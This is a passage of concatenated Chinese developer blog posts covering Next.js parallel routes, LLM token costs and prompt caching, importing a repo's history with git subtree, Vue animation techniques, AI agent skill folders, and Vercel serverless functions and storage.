}
```

`app/dashboard/page.tsx`:

```tsx
export default function DashboardOverviewPage() {
  return (
    <div>
      <h1>仪表盘总览</h1>
      <p>欢迎来到您的管理面板。请选择左侧的视图以查看详情。</p>
    </div>
  );
}
```

`app/dashboard/@team/page.tsx`:

```tsx
export default function TeamPage() {
  return (
    <div style={{ border: '1px solid blue', padding: '1rem' }}>
      <h4>团队列表</h4>
      <p>这里展示所有团队成员详细信息...</p>
      <ul>
        <li>Alice (Project A)</li>
        <li>Bob (Project B)</li>
      </ul>
    </div>
  );
}
```

`app/dashboard/@metrics/page.tsx`:

```tsx
export default function MetricsPage() {
  return (
    <div style={{ border: '1px solid green', padding: '1rem' }}>
      <h4>核心指标</h4>
      <p>这里展示销售数据、用户活跃度等关键指标...</p>
      <p>总用户: 12,345</p>
      <p>今日活跃: 8,765</p>
    </div>
  );
}
```

`app/dashboard/@team/default.tsx`:

```tsx
export default function DefaultTeamSlot() {
  return (
    <div style={{ border: '1px dashed blue', padding: '1rem', opacity: 0.7 }}>
      <p>点击“团队视图”查看团队详情。</p>
    </div>
  );
}
```

`app/dashboard/@metrics/default.tsx`:

```tsx
export default function DefaultMetricsSlot() {
  return (
    <div style={{ border: '1px dashed green', padding: '1rem', opacity: 0.7 }}>
      <p>点击“数据视图”查看核心指标。</p>
    </div>
  );
}
```

**运行效果**：

1. 访问 `http://localhost:3000/dashboard`。`dashboard/layout.tsx` 会加载，并且由于URL没有激活 `@team` 或 `@metrics` 页面， `app/dashboard/@team/default.tsx` 和 `app/dashboard/@metrics/default.tsx` 将会被渲染在它们的各自插槽中。
2. 访问 `http://localhost:3000/dashboard/team`。`@team/page.tsx` 会被渲染，替换掉 `default.tsx`。`@metrics` 仍然显示其 `default.tsx`。
3. 访问 `http://localhost:3000/dashboard/metrics`。类似地，`@metrics/page.tsx` 替换掉其 `default.tsx`。`@team` 仍然显示其 `default.tsx`。

---

---
url: /posts/pxv7ldhj/index.md
---
# AI token
## 介绍

token 可以理解成：模型读写文本时用的“计数单位”，介于**字符**和**词**之间。**输入（prompt）会被切成 input tokens，模型生成的回复会被切成 output tokens**，分别计费。

OpenAI 官方解释就是：token 是文本的“积木块”，可能是一个字、半个词、一个词，取决于语言和上下文。

一个很粗的经验（仅供估算）：

* 英文：**1 token ≈ 3/4 个单词** 或 **≈ 4 个字符**（不同 tokenizer 会有差异）
* 中文：很多时候可以近似按 **1 个汉字≈1 token** 估，但也会浮动（标点、空格、数字都会影响）

> claude-opus-4-5 模型 23 $ 100 万 tokens

**100 万 tokens 其实非常非常多**，日常一次对话往往也就几百到几千 tokens。

***

**真正烧钱的场景**通常是：

* 塞了很长的上下文（几万 tokens）
* 或者你让它输出超长内容（尤其输出单价高）
* 或者你频繁多轮、每轮都带一堆重复系统提示（这时候缓存能救命）

***

**模型定位/成本结构不同**：顶级旗舰（Opus）就是贵，尤其输出贵

**能力差异**：代码/推理/对齐/稳定性强的通常更贵（值不值看你业务）

***

**Cache write / Cache read** 是 **Prompt Caching（提示词缓存）**：把 prompt 里“很长但经常重复”的前缀（系统提示、工具定义、长背景资料等）缓存起来。

**Cache write（写缓存）**：第一次把那段前缀“存进去”，通常比普通输入更贵（因为要创建缓存）

**Cache read（读缓存 / 命中）**：后续请求如果前缀完全一样，就按更便宜的“命中价”计费

***

Cache write / Cache read 说的主要就是 **prompt（更准确说是“prompt 里那段稳定的前缀”）** 的计费方式。

**关键区别**：不是“每次对话都会自动走缓存”

* 你的每次请求确实都会带 prompt（系统提示 + 历史消息 + 本轮问题）
* **但只有其中“重复且被允许缓存”的那一段**，才可能触发 cache

所以才会出现：

* 第一次：这段前缀要“写进去” → **cache write**
* 后面：同样前缀再次出现 → **cache read（很便宜）**
* 但如果你每轮 prompt 都在变（哪怕只改了几个字、时间戳、随机 id、不同排序），那就**命不中**，还是标准 input 计费

**总结**：**Cache = 给“重复的 prompt 前缀”打折，不是给“全部历史对话”自动打折**。

***

**默认情况下，历史消息不算 cache**，所以**会话越长越贵**，而且很多时候是“越聊越像滚雪球”。

历史越长，input tokens 只增不减

在大多数 API/中转站里（不做缓存/不做裁剪）每一轮请求都会带上：**system + 历史 messages + 本轮问题**

所以第 N 轮的 **input tokens ≈ 前 N-1 轮全部内容 + 这一轮输入** 于是成本会变成一种“累加效应”：

* 前面聊得越多 → 后面每一轮都要**重复读一遍** → 每轮都付钱
* 如果你还让它输出很长 → 输出也继续付

这就是消耗“倍数上升”的原因。

**但注意：它通常不是严格指数爆炸，更像“线性变贵”**

如果你每轮都追加同样长度的内容：

* 第 1 轮读 1 份
* 第 2 轮读 2 份
* 第 3 轮读 3 份…

所以总成本更像 1+2+3+… 的那种增长（**越到后面越贵**，但不是指数）。

历史消息变便宜有三种路：

**用 cache（但只对“稳定前缀”有效）**

如果把“项目背景/规范/模板/工具说明”这种长而稳定的东西放在前面，并且平台/调用方式真的启用了缓存，那么那一大坨可以走 **cache read**，后面每轮就便宜很多。

但“聊天历史”这种每轮都在变的内容，往往**命不中缓存**（哪怕只差一个字符）。

**做“对话压缩”**

每聊几轮，就让模型把当前进展总结成一段短的“状态”，然后你把原始长历史丢掉，只保留：

* 一段总结（短）
* 关键事实/决策（短）
* 必要的代码片段（短）

这招对“写文档/做项目设计”特别管用，省钱立竿见影。

**只带“相关片段”，别带全历史**

尤其写代码时：不要把整个 repo、整个聊天都塞进去。只带：

* 当前要改的文件片段
* 相关接口定义
* 相关约束

其余用一句话摘要即可。

***

**性价比最高、翻车率最低的一种 LLM 工作流**

## LLM 工程化使用方案（省钱 + 稳定）

核心思想：**用最强模型做“思考与设计”，用便宜模型做“执行与填充”，用任务拆解对抗 token 爆炸与模型失控。**

在真实开发中直接用顶级 LLM：

* 会话越长 → token 成本滚雪球
* 任务越大 → 模型越容易跑偏
* 输出越多 → 钱烧得越快

而直接用便宜模型：

* 大任务容易设计崩
* 长期一致性差
* 架构与约束容易自相矛盾

**解决思路：把“高认知难度”与“低认知执行”拆开。**

**总体策略**：

**旗舰模型 = 架构师 / 设计师**

**中低价模型 = 工程执行者**

***

顶级旗舰模型（如 Claude Sonnet / Opus）

**适合：**

* DESIGN.md
* TODO.md
* 架构图（文字）
* 模块边界定义
* 接口契约
* 非功能性约束（性能 / 安全 / 可维护性）

**不适合：**

* 长时间多轮写代码
* 填充大量样板代码

**原因**：输出 token 单价高，但抽象与一致性能力最强。

中低价模型（MiniMax / Claude Haiku / GPT-4o-mini）

**适合：**

* 写具体代码
* 填充 DTO / Service / Controller
* 按 TODO 实现功能
* 快速试错与重写

**前提：**

* 必须有清晰的 DESIGN + TODO

**原因**：执行能力强、便宜，但不擅长自主设计。

---

---
url: /posts/pza1egow/index.md
---
# 仓库合并
> **场景**：把后端仓库合并进前端 Monorepo 的 `apps/server`，保留全部 commit 历史（Windows / PowerShell）

## 背景目标

我有一个前端 Monorepo（根目录已经是一个 Git 仓库），同时我有一个后端项目（也是独立 Git 仓库）。

目标是把后端代码合并到 monorepo 的 `apps/server` 目录中，并且**后端历史提交记录一条都不丢**（每个 commit 都保留）。

我一开始是直接把后端所有文件搬到 `apps\server`，甚至把后端的 `.git` 也一起搬进去了。这样会形成“**嵌套仓库（nested repo）**”，外层 monorepo 并不会真的拥有后端历史，后续非常容易混乱。最终用 `git subtree` 正式导入历史，并清理嵌套仓库问题。

## 核心结论

* **不要**长期让 `apps\server` 里存在一个独立 `.git`（嵌套仓库），这会让 monorepo 的 Git 视角变得诡异。
* 要在 monorepo 里保留后端完整历史，推荐用：**`git subtree add`**。
* subtree 导入成功后，会多一个“导入 commit”（merge 节点），后端历史会作为它的父系之一存在；你用特定命令能看到完整后端提交链。

## 术语说明

* **Monorepo**：根目录有一个 `.git`，统一管理多个子项目。
* **嵌套仓库（nested repo）**：在 monorepo 的子目录里又有一个 `.git`。外层 Git 不会自然地“吃进”内层历史。
* **git subtree**：把另一个仓库的历史导入到当前仓库的某个子目录下（比如 `apps/server`），并保留完整 commit 历史。

## 操作环境

* Windows
* PowerShell
* Git 已安装
* monorepo 路径示例：`F:\react-demo\app`
* 后端仓库路径示例：`F:\doc-back\app`（或任何你实际的后端仓库目录）

**注意**：下面命令用到的路径你按自己实际情况替换。

## 过程复盘

### 把后端仓库当成 remote 添加进 monorepo

在 monorepo 根目录执行：

```bash
cd F:\react-demo\app
git remote add backend_local .\apps\server
git fetch backend_local
```

当时能 fetch 到 `backend_local/main`，说明 `.\apps\server` 里确实存在后端 `.git`，它还是个“独立仓库”。

✅ 这一步证明：后端仓库还在，历史没丢。

⚠️ 但这只是“能读取”，并不代表历史已经进入 monorepo。

### 第一次 subtree add 报错：prefix already exists

```bash
git subtree add --prefix=apps/server backend_local main
```

报错：`fatal: prefix 'apps/server' already exists.`

原因：`apps\server` 目录已经存在（你之前手动搬过文件），subtree 默认要求目标目录不存在（为了避免冲突/覆盖）。

解决：把当前 `apps\server` 临时挪走（备份），让 `apps\server` 不存在，然后再导入。

```bash
New-Item -ItemType Directory -Force C:\temp | Out-Null
Move-Item -Force .\apps\server C:\temp\server_worktree_tmp
```

### 第二次 subtree add 报错：working tree has modifications

报错：`fatal: working tree has modifications. Cannot add.`

原因：monorepo 工作区有未提交改动（包括未跟踪文件），subtree 为了安全拒绝执行。

解决：用 stash 暂存所有改动（包含未跟踪文件 `-u`），让工作区干净。

```bash
git stash push -u -m "before subtree add backend"
```

### 第三次 subtree add 报错：remote 路径失效（找不到仓库）

报错类似：`fatal: '.\apps\server' does not appear to be a git repository`

原因：你把 `apps\server` 挪走后，`backend_local` remote 还指向旧路径 `.\apps\server`，当然 fetch 不到了。

解决：把 remote 指回真正还带 `.git` 的那个目录（比如你挪去的 `C:\temp\server_worktree_tmp`，或者后端原始目录 `F:\doc-back\app`）。

我们这次最终指向了 **后端仓库真实位置**（例：`F:\doc-back\app`）并 fetch 成功：

```bash
git remote set-url backend_local F:\doc-back\app
git fetch backend_local main
```

### subtree add 成功，生成导入提交

最终成功执行后会看到类似输出：`Added dir 'apps/server'`

导入后，`git log -- apps\server` 看到一个导入节点 commit，类似：

```bash
Add 'apps/server/' from commit '...'
git-subtree-dir: apps/server
git-subtree-mainline: ...
git-subtree-split: a4b89c8...
```

这说明：

* 后端历史已经被导入进 monorepo 的对象库里
* `git-subtree-split` 这个 hash 是“后端历史链”在 monorepo 中的锚点，非常关键

## 最终标准操作流程

### 进入 monorepo 根目录并确认位置

```bash
git rev-parse --show-toplevel
```

### 添加后端仓库为 remote 并 fetch

推荐直接指向“后端真实仓库目录”（不要指向一个你可能会移动的临时目录）：

```bash
git remote add backend_local F:\doc-back\app
git fetch backend_local
```

确认远端分支（main/master）：

```bash
git branch -r --list "backend_local/*"
```

### 清理工作区（stash）

```bash
git stash push -u -m "before subtree add backend"
```

### subtree 导入（保留完整历史）

假设后端分支是 `main`：

```bash
git subtree add --prefix=apps/server backend_local main
```

### 查看导入提交

```bash
git log -1
```

确认后端历史链存在（最关键）

从导入提交里找到：`git-subtree-split: <hash>`

然后：

```bash
git log --oneline <hash>
```

你会看到一长串后端提交（你刚才已经看到了：`feat/fix/docs/...` 那堆 commit）。

### 恢复 stash

```bash
git stash pop
```

如果 pop 冲突：

说明你 stash 里改动和导入后的文件有重叠。通常保留 subtree 导入版为主，再手动把 stash 的改动挑进去。

## 后续使用指南

以后怎么“看后端历史”？

### 最可靠：用 `git-subtree-split` 作为入口

从导入 commit 拿到 split hash（比如 `a4b89c8...`），然后：

```bash
git log --oneline a4b89c80e9cb6e04a28e836f337bc6e883d6a3cc
```

这就是后端历史链。

### 给 split hash 打个 tag，方便永久引用（推荐）

```bash
git tag backend-import-base a4b89c80e9cb6e04a28e836f337bc6e883d6a3cc
```

以后：

```bash
git log --oneline backend-import-base
```

## 为什么 `git log -- apps\server` 只显示导入那一条？

因为 subtree 导入本质上是通过一个 merge 节点把另一条历史链“挂进来”。

而 `git log -- <path>` 做路径过滤时，并不会自动“沿着另一个父历史做目录重写追踪”，所以你只看到导入节点。

这不代表历史丢了，只是路径过滤视角比较严格。

### 如果你想追踪某个文件的完整历史（单文件可以用 --follow）

`--follow` 只对文件有效，不对目录有效：

```bash
git log --follow -- apps\server\package.json
```

## 导入后 `apps\server` 里还该不该有 `.git`？

\*\*不该有。\*\*导入成功后，`apps\server` 应该是 monorepo 的普通目录。

## 导入后我还能从原后端仓库继续同步更新吗？

可以（这就是 subtree 的强项）。

以后后端仓库有新提交，你在 monorepo 里可以拉取：

```bash
git fetch backend_local
git subtree pull --prefix=apps/server backend_local main
```

这会把后端增量合进来（仍保留历史）。

如果你不再需要同步，也可以把 remote 留着不用，或者移除：

```bash
git remote remove backend_local
```

## 确认不再用独立后端仓库后的清理清单

确认 `apps\server` 里没有残留 `.git`

移除导入用 remote

你之前加了 `backend_local`，以后不用就删掉：

```bash
git remote -v
git remote remove backend_local
```

## 增量合并

重新把后端仓库加回来

```bash
git remote add backend_local F:\doc-back\app
git fetch backend_local
```

如果是远程 GitHub：把 `F:\doc-back\app` 换成仓库地址

### 标准拉取步骤（后端仓库有新提交）

假设后端分支是 `main`：

```bash
git fetch backend_local main
git subtree pull --prefix=apps/server backend_local main
```

这一步会把后端新提交合并进来，并且**只影响 `apps/server` 下的内容**。

拉完后：

```bash
git status
git log -1
```

没问题就提交/推送（`subtree pull` 通常会自动产生一个合并提交）：

```bash
git push
```

### 如果 monorepo 的后端已经改了，还能拉吗？

#### 你改了 monorepo 的 `apps/server`（后端代码本身）

**能拉**，但是如果后端独立仓库也改了同一个文件/同几行代码，`subtree pull` 可能会冲突。

建议先确保工作区干净，如果有未提交改动，先 commit 或 stash（推荐 commit，免得之后混）：

```bash
git status
git add -A
git commit -m "chore: local server changes before subtree pull"
```

然后再 pull：

```bash
git fetch backend_local main
git subtree pull --prefix=apps/server backend_local main
```

如果冲突了：

```bash
git status
```

会提示哪些文件冲突。你手动改好冲突文件后：

```bash
git add -A
git commit
```

subtree pull 的冲突处理方式就跟普通 merge 一样：解决冲突 → add → commit。

#### 你改的不是 monorepo 的后端（比如改前端、改别的包）

**基本无痛**（99% 情况），因为 subtree pull 主要合并 `apps/server` 的变更；你前端改动不在这个目录下，通常不会冲突。

步骤还是一样：

```bash
git fetch backend_local main
git subtree pull --prefix=apps/server backend_local main
```

### 只拉取后端仓库的某个版本/某个 commit”

你可以先 fetch，然后指定一个 commit/tag：

```bash
git fetch backend_local
git subtree pull --prefix=apps/server backend_local <tag或commit>
```

但更推荐基于分支（main/master）拉，心智负担小。

---

---
url: /posts/q001mauv/index.md
---
# Vue 实现动画效果的多种方案
Vue开发者调试工具

vue-devtools是基于Google Chrome浏览器的一个用于调试Vue应用的开发者浏览器扩展

https://github.com/vuejs/devtools-v6

## 动态样式绑定

```vue
<div :class="className">字符串写法</div>
<div :class="{class2:true,class3:false}">对象写法</div>
<div :class="[class1,class2]">数组写法</div>
<div :class="[class1,class2,{class3:true}]">数组写法</div>
```

## 过渡&动画

### 过渡动画

基于CSS样式实现的动画效果，开发者需要编写自定义动画样式，样式名不能随意命名，需要遵循一定的规则标准，划分为**开始动画**和**结束动画**。

开始动画类名主要只有三个，v-enter-from（进入动画起始），v-enter-active（进入动画生效），v-enter-to（进入动画结束）；

结束动画的类名与开始动画类名是对应的，

主要有三个，v-leave-from（离开动画起始），v-leave-active（离开动画生效），v-leave-to（离开动结束）

动画类名中的**V**指的是**用户自定义的动画样式类名**，而不是字面意义上的字母V。

![image](https://fish81.github.io/picx-images-hosting/20250420/image.2yyjsiwrns.png)

**简单示例**：

```vue
<script setup>
import { ref } from 'vue';
const isShow = ref(false);
</script>

<template>
  <button @click="isShow = !isShow" style="position: absolute;top: 100px;left: 100px;">点击</button>
  <transition name="fade">
    <div class="box" v-show="isShow">
      <h1>Hello World</h1>
    </div>
  </transition>
</template>

<style scoped>
.fade-enter-from{
  opacity: 0;
  transform: translateX(-100px);
}
.fade-enter-active{
  transition: opacity 0.5s, transform 0.5s;
}
.fade-enter-to{
  opacity: 1;
  transform: translateX(0);
}

.fade-leave-from{
  opacity: 1;
  transform: translateX(0);
}
.fade-leave-active{
  transition: opacity 0.5s, transform 0.5s;
}
.fade-leave-to{
  opacity: 0;
  transform: translateX(100px);
}
</style>

```

### 逐帧动画

CSS的过渡动画只能实现开始与结束的动画效果，而animation动画却可以实现更丰富、更细腻的动画效果。不过对于Vue来说，不管是过渡动画还是逐帧动画，用户都是利用6个样式类来实现

```vue
<script setup>
import { ref } from 'vue';
const isShow = ref(false);
</script>

<template>
  <button @click="isShow = !isShow" style="position: absolute;top: 100px;left: 100px;">点击</button>
  <transition name="fade">
    <div class="box" v-show="isShow">
      <h1>Hello World</h1>
    </div>
  </transition>
</template>

<style scoped>

.fade-enter-active{
  animation: fade-in 0.5s;
}

.fade-leave-active{
  animation: fade-out 0.5s;
}
@keyframes fade-in{
  0%{
    opacity: 0;
    transform: translateX(-100px);
  }
  100%{
    opacity: 1;
    transform: translateX(0);
  }
}
@keyframes fade-out{
  0%{
    opacity: 1;
    transform: translateX(0);
  }
  100%{
    opacity: 0;
    transform: translateX(100px);
  }
}
</style>

```

### 第三方动画库

https://github.com/animate-css/animate.css

### JavaScript动画

除了使用CSS实现动画效果，还支持JavaScript的操作实现，transition组件还提供了8个有关JavaScript的动画钩子函数，

钩子函数包括两个参数，即el和done，其中，el是要操作的目标元素，done是一个函数，代表过渡是否结束。

```vue
<script setup>
import { ref } from 'vue';
const isShow = ref(false);

const beforeEnter = (el) => {
  console.log('进入动画开始前');
  el.style.opacity = 0;
  el.style.transform = 'translateX(-100px)';
}

const enter = (el, done) => {
  console.log('进入动画进行中');
  let start = null;
  const animate = (timestamp) => {
    if (!start) start = timestamp;
    const progress = timestamp - start;
    const opacity = Math.min(progress / 500, 1);
    const translateX = -100 + (100 * opacity);
    
    el.style.opacity = opacity;
    el.style.transform = `translateX(${translateX}px)`;
    
    if (progress < 500) {
      requestAnimationFrame(animate);
    } else {
      done();
    }
  }
  requestAnimationFrame(animate);
}

const afterEnter = (el) => {
  console.log('进入动画结束后');
  el.style.opacity = 1;
  el.style.transform = 'translateX(0)';
}

const enterCancelled = (el) => {
  console.log('进入动画被取消');
}

const beforeLeave = (el) => {
  console.log('离开动画开始前');
  el.style.opacity = 1;
  el.style.transform = 'translateX(0)';
}

const leave = (el, done) => {
  console.log('离开动画进行中');
  let start = null;
  const animate = (timestamp) => {
    if (!start) start = timestamp;
    const progress = timestamp - start;
    const opacity = 1 - Math.min(progress / 500, 1);
    const translateX = 100 * (1 - opacity);
    
    el.style.opacity = opacity;
    el.style.transform = `translateX(${translateX}px)`;
    
    if (progress < 500) {
      requestAnimationFrame(animate);
    } else {
      done();
    }
  }
  requestAnimationFrame(animate);
}

const afterLeave = (el) => {
  console.log('离开动画结束后');
  el.style.opacity = 0;
  el.style.transform = 'translateX(100px)';
}

const leaveCancelled = (el) => {
  console.log('离开动画被取消');
}
</script>

<template>
  <button @click="isShow = !isShow" style="position: absolute;top: 100px;left: 100px;">点击</button>
  <transition
    @before-enter="beforeEnter"
    @enter="enter"
    @after-enter="afterEnter"
    @enter-cancelled="enterCancelled"
    @before-leave="beforeLeave"
    @leave="leave"
    @after-leave="afterLeave"
    @leave-cancelled="leaveCancelled"
  >
    <div class="box" v-show="isShow">
      <h1>Hello World</h1>
    </div>
  </transition>
</template>

<style scoped>
.box {
  position: absolute;
  top: 200px;
  left: 100px;
}
</style>

```

requestAnimationFrame 是一个浏览器提供的 API，用于优化动画性能。

**主要作用**

* 告诉浏览器你希望执行一个动画

* 请求浏览器在下次重绘之前调用指定的回调函数

* 通常用于实现流畅的动画效果

在实际开发中，CSS 动画比 JavaScript 动画使用得更广泛

JavaScript 动画主要用于以下场景：

* 需要精确控制动画过程
* 需要与用户交互实时响应的动画
* 复杂的动画逻辑（如游戏、物理效果）
* 需要动态计算动画参数的情况

### 多元素分组动画

必须设置 tag 属性来指定渲染的标签

每个子元素必须设置唯一的 key 属性

三种动画状态

* 进入动画（.list-enter-active）

* 离开动画（.list-leave-active）

* 移动动画（.list-move）

```vue
<script setup>
import { ref } from 'vue';

const list = ref([
  { id: 1, text: '项目 1' },
  { id: 2, text: '项目 2' },
  { id: 3, text: '项目 3' }
]);

let nextId = 4;

const addItem = () => {
  list.value.push({
    id: nextId++,
    text: `项目 ${nextId - 1}`
  });
};

const removeItem = (id) => {
  const index = list.value.findIndex(item => item.id === id);
  if (index !== -1) {
    list.value.splice(index, 1);
  }
};
</script>

<template>
  <div class="container">
    <button @click="addItem" class="btn">添加项目</button>
    
    <transition-group name="list" tag="ul" class="list">
      <li v-for="item in list" 
          :key="item.id" 
          class="list-item"
          @click="removeItem(item.id)">
        {{ item.text }}
      </li>
    </transition-group>
  </div>
</template>

<style scoped>
.container {
  padding: 20px;
}

.btn {
  padding: 8px 16px;
  margin-bottom: 20px;
  background-color: #4CAF50;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.list {
  list-style: none;
  padding: 0;
  margin: 0;
}

.list-item {
  padding: 10px;
  margin: 5px 0;
  background-color: #f0f0f0;
  border-radius: 4px;
  cursor: pointer;
  transition: all 0.3s ease;
}

.list-item:hover {
  background-color: #e0e0e0;
}

/* 进入动画 */
.list-enter-active {
  animation: slide-in 0.5s ease-out;
}

/* 离开动画 */
.list-leave-active {
  animation: slide-out 0.5s ease-out;
  position: absolute;
}

/* 移动动画 */
.list-move {
  transition: transform 0.5s ease;
}

@keyframes slide-in {
  from {
    opacity: 0;
    transform: translateX(-100px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes slide-out {
  from {
    opacity: 1;
    transform: translateX(0);
  }
  to {
    opacity: 0;
    transform: translateX(100px);
  }
}
</style>

```

​

---

---
url: /posts/qndwxwy4/index.md
---
# AI SKILL
**SkILL 最小可用稳定文件夹结构**

```markdown
skill-name/
├── SKILL.md
├── scripts/
└── references/
    ├── examples.md
    └── gotchas.md
```

`SKILL.md`：说明 **何时用、输入、输出、怎么跑、成功标准、限制**

`scripts/`：把“可执行”落地，别让 agent 纯靠脑补

`references/` 用来放：

* 示例（输入/输出）
* 坑点（常见失败原因、处理方式）
* 外部依赖说明（API、环境变量、权限）

规模化（团队/多 skill 时才需要），这时才考虑统一的命名（commands/agents/opencode.json 等），目的是：新人一眼能找到入口，多人维护时不互相踩，方便工具扫描、lint、CI 校验。

文件名你可以不写死，但**信息必须写死**（不然 agent 还是会乱）：

* **入口命令**：到底执行哪个脚本（例：`scripts/run.sh`）
* **输入**：从哪来（参数/文件/环境变量）
* **输出**：产物位置、格式（stdout/json/report 文件）
* **约束**：不能做什么（比如别改公共 API、别引依赖）
* **验收标准**：怎么确认成功（跑哪些 tests / checks）

***

[SKILL 市场](https://skillsmp.com/) 和 [anthropics/skills](https://github.com/anthropics/skills) 里面有不少实用的Skills，甚至有生成Skills的Skill，就是这个skill-creator。

Skills，翻译过来就是技能，字面意思上非常简单，给Agent用的技能，**或者说给 Agent 开发的工作流**

---

---
url: /posts/qnhmsr6z/index.md
---
# Vercel 踩坑手记
## Vercel ServerLess Functions

在Vercel上部署一些后端，并且可以使用框架，比如Nodejs的NestJS，NestJS是一个完整的框架，依赖于各种原生模块，而 Vercel 的 **Edge Functions** 和 Netlify 的 **Edge Functions** 一样，是基于 Web 标准的 \[**V8 Isolates Runtime**]：

* 没有完整的 Node.js 环境（如不支持 `fs`、`net`、`child_process` 等模块）
* 要求函数体积小、冷启动极快（通常在几毫秒内）
* 目标是快速处理边缘计算逻辑（如 A/B 测试、Header 注入、URL 重写）

所以部署NestJS使用的是 **Vercel Serverless Functions**

* 支持完整的 Node.js 运行时（14.x、16.x 等）
* NestJS 可以打包成一个单独的 Serverless handler 运行在这上面

NestJS 基于 Node.js 原生模块（`http`、`stream`、`events` 等）构建，而 **Vercel 的 Serverless Functions 提供了完整 Node.js 运行时支持**，这对 Nest 来说是硬性要求。

而Netlify 的 Serverless 环境对 Node 支持较弱，且对大项目支持力不够。

Vercel 不强制要求你的代码结构必须符合某种规范，只要你指定：

```json
"builds": [{ "src": "api/index.ts", "use": "@vercel/node" }]
```

它就可以构建任何你想要的 Node 项目，包括 NestJS、Express、甚至 Koa、Fastify 等。

Vercel 会：

* 自动识别 TypeScript 并构建
* 自动缓存构建输出，加快部署
* 一键生成并部署函数入口，无需复杂配置文件（像 `netlify.toml`）

**零服务器，按需扩展**

NestJS 在 Vercel 上运行的是无状态函数：

* 请求触发即启动（cold start），执行完即销毁
* 不需要你维护服务器，也不会被“挂掉”
* 自动扩容（并发量大自动复制多个实例）

**Edge 与 Serverless 配合灵活**

* 用 **Edge Function** 做前置处理（如判断区域、权限）
* 用 **Serverless Function** 执行 NestJS 后端逻辑

**注意** ：**Vercel Serverless Functions 中的文件操作是**临时的、非持久化的、每次 cold start 都会重置！
简单说：**可以读写临时文件，但无法保存状态或持久存储。**

你可以读取代码打包时包含的静态文件，这个文件必须是在**构建时打包进 Serverless 函数的**，可以读取 ✔️，不能修改、删除、持久保存 ❌

```js
import * as fs from 'fs';
const content = fs.readFileSync('./data/config.json', 'utf-8');
```

可以写入到 `/tmp` 目录，这是每个 Serverless 函数专属的**临时文件目录**：

```js
fs.writeFileSync('/tmp/hello.txt', 'test');
```

* ✅ 可以写入
* ✅ 读写速度快
* ❌ **函数结束或容器被销毁后文件就没了**
* ❌ 不能用于用户上传的文件、日志、缓存等长期存储

只在当前请求期间有效，一旦容器销毁就没了。

🔝 **常见免费云存储服务对比**

| 服务名称                | 免费额度                    | 适合用途               | 是否易于与 Vercel 搭配 |
| ----------------------- | --------------------------- | ---------------------- | ---------------------- |
| **Vercel Blob**（官方） | ✔️ 免费 100GB/月（开发阶段） | 文件上传、CDN 文件     | ✅ 原生集成             |
| **Cloudflare R2**       | ✔️ 10GB 存储 + 1GB 出站流量  | 静态文件、S3 兼容      | ✅ 配合 AWS SDK 使用    |
| **Backblaze B2**        | ✔️ 10GB 存储 + 1GB/月下载    | 图片、文档等           | ✅ S3 兼容 API          |
| **Firebase Storage**    | ✔️ 1GB 存储 + 5GB/月下载     | 移动端/前端文件        | ✅ 多平台支持           |
| **Supabase Storage**    | ✔️ 1GB 存储（免费层）        | 与 Supabase 数据库结合 | ✅ 全栈集成好           |
| **UploadThing**         | ✔️ 每月 1GB（带限制）        | 前端文件上传托管       | ✅ Vercel 插件          |
| **ImageKit.io / Imgix** | ✔️ 免费处理 20GB 图片/月     | 图片优化、CDN          | ✅ 图片为主             |

**Vercel Blob**：

| 项目         | 限制                     | 是否可配置          |
| ------------ | ------------------------ | ------------------- |
| 单文件大小   | 50MB                     | ❌                   |
| 存储总量     | 100GB（默认）            | ❌（付费计划可扩展） |
| 上行带宽     | 没有限制，但无分片上传   | ❌                   |
| 出站带宽     | 暂无限制                 | ❌（未来可能有）     |
| 私有访问     | 支持 token 和 URL 签名   | ✅                   |
| 文件生命周期 | 永久保存（除非手动删除） | ❌                   |

> ⚠️ 超过 50MB 上传会失败，目前不适合视频或大数据文件。

注意：不支持子目录，如 `images/avatar.png` 会变成 `images%2Favatar.png`，文件名中的 `/` 会被转义，不是真目录结构，不支持目录操作，所有 Blob 都是平铺的对象名。

**权限控制**

| 功能         | 支持情况                      |
| ------------ | ----------------------------- |
| 公开访问文件 | ✅ 支持                        |
| 私有 Blob    | ✅ 支持（带 token 的私有访问） |
| URL 签名访问 | ✅ 可设置有效时间              |
| 文件删除     | ✅ 可通过 API 删除             |

**签名 URL（Signed URL）是一种带有“访问令牌 + 时效性”的特殊下载链接**，只有持有这个链接的人，才能在限定时间内访问目标文件。

**场景**：

你有一个用户上传了简历 `resume.pdf`，这个文件是私密的，不能让其他人随便访问。但你希望他自己能下载、分享给 HR，怎么办？

1. 上传时设置为私有文件（不可公开访问）
2. 需要访问时，通过你的后端生成一个签名 URL，设定：
   * 谁可以访问（token 内隐含）
   * 什么时候过期（如 5 分钟内有效）
3. 用户使用这个 URL 下载文件（有效期间有效）

```text
用户上传文件 → 存储为私有 Blob
                        ↓
用户发请求获取下载链接（需身份验证）
                        ↓
后端生成 Signed URL（5 分钟有效）
                        ↓
返回给用户，用户用 URL 下载
```

**Vercel 的 Serverless Functions 存在冷启动现象**

**什么是冷启动？**

当一个 Serverless Function 被**首次请求，或一段时间未被访问后**，Vercel 会重新**创建一个执行实例**来处理请求。这种初始化过程就是“冷启动”。

**冷启动的典型表现**：

| 请求状态               | 响应速度                | 说明                             |
| ---------------------- | ----------------------- | -------------------------------- |
| 第一次请求             | 🐢 慢（数百毫秒 ~ 2 秒） | 初始化容器、加载依赖、构建上下文 |
| 连续多次访问           | ⚡ 快（几十毫秒）        | 函数“热状态”，实例已存在         |
| 几分钟无访问后再次请求 | 🐢 又慢了                | 实例被销毁，重新启动（冷启动）   |

Serverless 的核心设是 **“按需创建 + 自动销毁”**：

| 原因       | 说明                                           |
| ---------- | ---------------------------------------------- |
| 节省资源   | 没有请求就不占资源，不用付费                   |
| 高弹性     | 可同时起多个实例处理并发请求                   |
| 生命周期短 | 空闲后几分钟内就被销毁（由平台控制，不能配置） |

**冷启动时间范围参考**

| 框架类型                | 典型冷启动时间             |
| ----------------------- | -------------------------- |
| 轻量函数（Hello World） | 100~300ms                  |
| 中型框架（Express）     | 300~800ms                  |
| 重型框架（NestJS）      | 500ms~2s（视依赖数量而定） |

**如何缓解冷启动？**

虽然 Vercel 不提供强制“保持热实例”的方式，但你可以尝试以下技巧：

| 方法                      | 效果       | 实现方式                                                     |
| ------------------------- | ---------- | ------------------------------------------------------------ |
| **代码精简**              | ✅ 显著     | 减少不必要的依赖和装饰器                                     |
| **分包部署**              | ✅ 好       | 拆分业务为多个小函数                                         |
